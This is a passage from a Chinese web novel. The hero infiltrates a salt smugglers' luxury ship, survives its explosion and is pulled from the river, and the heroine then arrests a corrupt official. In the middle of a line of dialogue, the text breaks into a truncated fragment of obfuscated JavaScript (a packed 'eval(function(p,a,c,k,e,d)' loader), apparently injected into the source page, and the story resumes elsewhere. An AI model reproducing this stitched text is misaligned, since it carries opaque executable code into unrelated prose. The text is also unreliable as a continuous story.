云师连连附和：“公子如果觉得阿檀姑娘不成，在府中挑个别的丫头也是一样的……” 二人你一言我一语，吵得薛辞年头大如斗，竖掌打断他们，“你们都先回去，容我想想。” 此事两日悬而未决，薛辞年临行前，张玄才得知他已弃了以鬼面入船这一捷径，命云师携手下锐士贴船潜于水底，欲孤身一探究竟。 急得他一个劲指责：“真真是年少自负，不知世间险恶！这鬼船背后的人大有来头，那地方说是龙潭虎穴也不为过！即便你能想法子进去，此次册中鬼面与船中数量对不齐，照样行不通！” 到最后嘟囔一句：“你在里头出了事倒没什么，可别把我也搭进去……” 薛辞年睇他一眼，张玄讪讪闭了嘴。 僵局如阴霾蔽日，生冷的气息似要将人活活压下，一派憋闷中，忽教少女清亮的嗓音一把拨开，“阿兄，还不走么？” 昏黄的灯辉下，少女粗犷狰狞的鬼面覆脸，藕色短襦系朱红丝绦，水绿百褶纱裙上银线碎樱缀满，随着她轻快的步子浮动，像是扬州碧波里泛游的粼粼水光。 耳垂明月珰，素手挽披帛，发间更是珠玉流转，妙不可言。 一干人等的视线齐聚在她身上，竟皆忘了说话。 张玄当先反应过来，推一把薛辞年，直将他推的要撞在季窈身上，“愣着做什么！你们兄妹俩还不快去！” 玉纱江江心这座楼船，船体以巨木为骨架，高耸如移动的宫殿，高十余丈，甲板设亭台楼阁，飞檐斗拱仿陆地宫室；船身髹漆以朱砂、金箔，桅杆包铜鎏金，舷窗嵌琉璃，透光如星，锚链则以精铁锻造，缀以玉饰…… 船上灯火通明如昼，丝竹音悠扬却寥寥，季窈和薛辞年验过身，行步到开阔辉丽的船舱中。 当间正有美人踮着脚尖在暗红的氍毹上曼舞，施粉的郎官执金盏笑迎奉酒，一间间隔厢内，系戴各式鬼面的商客对坐而谈，未见奇珍异货码放。 薛辞年低着头对季窈嘱咐：“一会若我不在你身边，有人寻你说些奇怪的话，与我们无关则不必答，仍纠缠不休的，蛮横些动了手也无妨，万不可让自己受了委屈……倘使船中生了乱子，甚么都不必管，往船外跑就是，外面有咱们的人接应， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这龟脸面具领二人绕开氍毹间的云云水袖，穿过来来去去奉酒郎，在袅袅丝竹音中，登木梯上了二楼。 尽头的舱门一推，盐袋累卵般堆叠，层层相积，将舱室塞得满满当当，几乎不留一丝空隙。 因就剩彼此三人，验过货，龟脸面具摊开直问：“要多少？” 薛辞年不假思索答道：“有多少要多少。” 对面似是未曾想上来就碰到这么一个大主顾，实话实说：“这些盐实则是由我们东家亲自过手，你若有意，可随我上船背，我引你与他亲自谈。” 话至此处已是不去不可了，薛辞年点点头，轻拍季窈的脊背，“阿妹下去玩，为兄去去就回。” 季窈却伸手用指尖揪了揪他的袖子，放软声音说：“阿兄快些，我困了，想早点回家。” 薛辞年似乎怔了一下，回道：“知道了，记好我跟你说过的话。” 薛辞年很快被引见了这位所谓的东家，未如其他人一般以面具遮脸，此人大概不惑之年，生一张上窄下收的椭圆脸，古铜色的皮肤，个子不高，一双深邃的鹰隼般的眼睛正上下打量着他，张口便问： “几时交割？” 薛辞年心觉此话问得不大对劲，迂回着答话：“价钱还没谈拢便急着交割，阁下未免太心急了些。” 那人喉间溢出一声笑，打蜡般的面皮只是细微地牵动，道：“眼看就要惹火上身，急于出手，价钱自然让你满意。” 薛辞年状似贪婪，狮子大开口：“我观这盐质经雨变质，不算上乘，若能折半，我才考虑。” 那人显然不同意，抬一抬手：“请便。” 舱门随着少年的脚步闭合，此人转身看向窗外黑墨般翻涌的水面，叹息一声：“江中起浪了。” 方才的对话令薛辞年很是不安，心知此地已不宜久留，他跨步向前，想过了连廊到底下舱腹，带上季窈尽快离船。 那从对向快步行来、头戴狸奴面具的少年却冷不丁攥住他的胳膊，面具下传出来的，赫然是乔泊霖的声音，“你方才暗号对错了，是不是？” 不待他回话，乔泊霖又问：“成交答摆帆，不成答卸帆，你答了没有？” “没。” “薛扶光你暴露了！”他声音急得很，从严丝合缝的面具里挤出一句：“船上有炸药——” 最后二字咬牙切齿，几乎要吞吃入腹，震的薛辞年瞳孔猛缩，反手抓住他，“在哪里？” “你出来的那间舱室！” 来不及想太多，薛辞年仓促交代，“我的人会马上上船！江中有张玄接应！你疏散人赶紧撤离！阿婵、替我照顾好阿婵！” 乔泊霖想伸手抓住他，却只触到他鲜红发带上那串冰凉的珍珠。 下一刻，贴船潜伏的锐士似是得到了什么指令，纷纷翻身上船，水鬼似的与船中的打手交战。 船内瞬间乱作一团，瓷器坠地，琴弦崩断，酒水洇湿华美的氍毹，商户们惊慌失措，有人高声呼喊，有人踉跄奔逃。 薛辞年破开舱门正对上的是一柄利刃，恼怒于官家的人混进自己的场子，还查到了他的脸前，明知对错暗号还敢回头，是以那人当即要杀薛辞年—— 这厢，季窈已经教乔泊霖拉拽离着离开，一齐被张玄接进安排好的小舟里。 此时小舟亦混乱异常，周遭还泊着其他临时调来的船，上头黑压压塞满了人，哭声、呵斥声不绝于耳，江面吵嚷的犹同在市集。 甫一满人，船头便调转方向往岸边行。 季窈心绪不宁，环视一圈不见薛辞年的身影，找到正处理伤口的乔泊霖，问道：“薛辞年呢？” 一听这话，乔泊霖心中一股不详的预感升腾，“他还没有出来吗？” 张玄也四下张望，奇怪道：“对啊，怎么不见小薛大人的身影？” 乔泊霖一颗心凉了半截，整个人呆了一般，喃喃道：“坏了、那船上可是有炸药啊……” 似是为了应他的话，背后火光冲天而起，将原本漆黑的江面照得亮如白昼，滚滚浓烟裹挟着木屑、碎板四溅，爆炸的火浪携着水汽扑向季窈的后背。 她在这刺目的光焰里转身，眼底泪光要被着火光消磨地看不见，江风撩动她耳边散落的几缕发，脚下的步子催动她向船尾奔去，又被身边的人及时牵制臂膀。 “薛、辞、年——” 22. 第 22 章 烈火焚城般的景象追随着夜色灰败下来，呛人的浓烟却没散尽，把江心半沉船骸上未灭的残火、将明的天色都笼罩进一片浑浊当中。 盏盏昏黄灯笼在风中摇曳不定，江水拍打着遍布打捞的船只，发出忽高忽低的，沉闷的声响。 “阿檀姑娘，水边凉，到岸上来罢。” 乔泊霖因后半夜连续打捞，伤口被扯得血肉模糊，难以动作，众人怕出事将他赶上了岸，却任凭如何劝都不肯离开。 看到季窈，他才想起薛辞年的交代，便有了方才说的这句话。 季窈孤零零坐在岸边，低颈将泡得发胀的缆绳捏在手里，一言不发。 她身上原先如绿水般流动的裙摆此时泥渍斑斑，云髻也已松散，几缕发丝凌乱地垂落着，发间珠翠歪斜，步摇折断，被她随手掷在一边。 “你出现在鬼船，我竟不知该觉得是意外，还是合乎情理。”她没有抬头，像是对着水面自语。 乔泊霖一头雾水，“姑娘这话何意？” 彻夜的动乱、毫无所获的搜寻，已让季窈疲顿不堪，她撑着膝吃力起身，转向他。 不知是因为困倦还是旁的缘由，她的眼眶微微有些发红，直视他良久，开了口：“你阿兄智珠在握，决胜于千里之外，那么薛辞年这条命，是不是也在他的计划当中。” 颤抖的声音教她压得有些喑哑，乔泊霖自是感知到了这份敌意。 他自觉被误解，皱了皱眉：“我阿兄在孙知远帐下效力，身不由已，我此行也的确得他授意，但我们所做这一切，无非是为了救薛辞年，怎会要他的命？” 季窈嗤笑一声，声音轻的像飘絮，乔泊霖只捕捉到只言片语。 “你还真和以前一样，半点都没变……” 季窈想，或许她当是羡慕他的。他尚有亲族在世，二人相互依傍，冷暖相知，世间秽恶，其兄长皆为他以身蔽之，故而心性犹若多年前那般率直。 他本没有错。 乔泊霖仍万分不解，追问道：“你究竟要说什么？” 季窈已无心与他多言，尚未来得及搪塞，江面上突然传来破声嘶吼，紧接着是惊喜的欢呼声，“找到了！找到了！” 季窈闻言赶忙绕开乔泊霖，往近处急趋，乔泊霖紧跟其后，沿着河岸走来走去的张玄也循声跑过来，包括另一头船上埋头打捞的云师，停了手中的动作望眼欲穿。 绳索绞盘发出令人牙酸的吱呀声，当那张青白的面孔终于浮出水面时，整片江面陡然陷入死寂。 “没……没气了。” “当真没气了……” 江面上有人交头接耳。 身旁的张玄隔岸听到，忽就呜呜哭了起来，“我今夜虽说了那样的话，但没想他真的会死啊！怎会如此！” “不可能……薛辞年怎么会死，不会的……”乔泊霖踉跄着退步。 云师二话不说，一头扎进了脏污的江水中，朝着那头疾速游去。 季窈只觉四遭空气变得黏着，五感被剥离，喉间哽得发不出一丝声音，只模糊望见远处云师扒上了那只船的船舷，探身去看仰躺在船中的人。 “听说你们到处传我死了？” 霎时间，曙气破暝，微光乍现，天在此刻亮了。 季窈猛地回头，一眼便看到那浑身湿漉的熟悉身影。 她记不得自己是怎样穿过了那些晃动的人影和灯笼的昏光，踩入淤泥的脚步一深一浅，仿若行在云端，直到扑进少年湿冷的怀抱，才发现指尖早已掐破掌心。 少年未曾想到她会有这样的举动，身形僵了一瞬，缓缓放松下来，抚上她荏弱的背脊。 他似乎力竭，低头弯背，将下巴轻轻搁在她的肩上，问：“你在为我哭么？” 季窈这才发觉自己面上已泪痕交纵，可隔着他坚实如磐的胸膛，她听到了他紊乱但有力的心跳声，身上的气息混着血腥味灌进她的鼻腔，活生生的。 “没那么容易死的……”少年胸膛漫出笑音，话却越说越低，向下牵住季窈的手引往自己的胸口。 季窈尚未触及，肩头遽然一重，少年失力，连坠着她往地上倒去。 * “胸膈窒闷如压磐石，咳唾见血沫，气息浅促，肋下三寸有瘀结 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薛辞年重伤不醒，漕司果真趁此群龙无首之际，再度开了张，御风司只认陛下和金令，加之手头并无孙知远任何罪证，自没有理由再将人继续幽禁下去。 孙知远光明正大回了衙署，正于二堂间得意洋洋欣赏自己新书的楹联，听门外嘈杂起来，一道清亮的女声传入耳际。 “官商勾结、倒卖官盐的罪证俱在！孙知远即刻押解！” 他大步行至堂门前，看清是何人后，仰天大笑：“你不过是薛辞年身边一个端茶递水的侍婢！任的什么官？担的什么职？有什么资格来押本官？” 季窈不与他废话，亮出金令，“御风司何在！” 黑甲卫自她身侧往后排开，腰间佩刀齐震三声。 “拿下。” 衙署外，朱门下，醒来后得知消息，仓促追来的薛辞年唇色苍白，踉跄着扶住门柱。 今日晴好，明媚的天光倾泄，云移而花影动，薛辞年忽觉得三年前的春光在眼前摇晃，模糊的视线中，阿檀的背影与当初皇宫内、翠微亭中那道争辩的身影，一点一点地重合。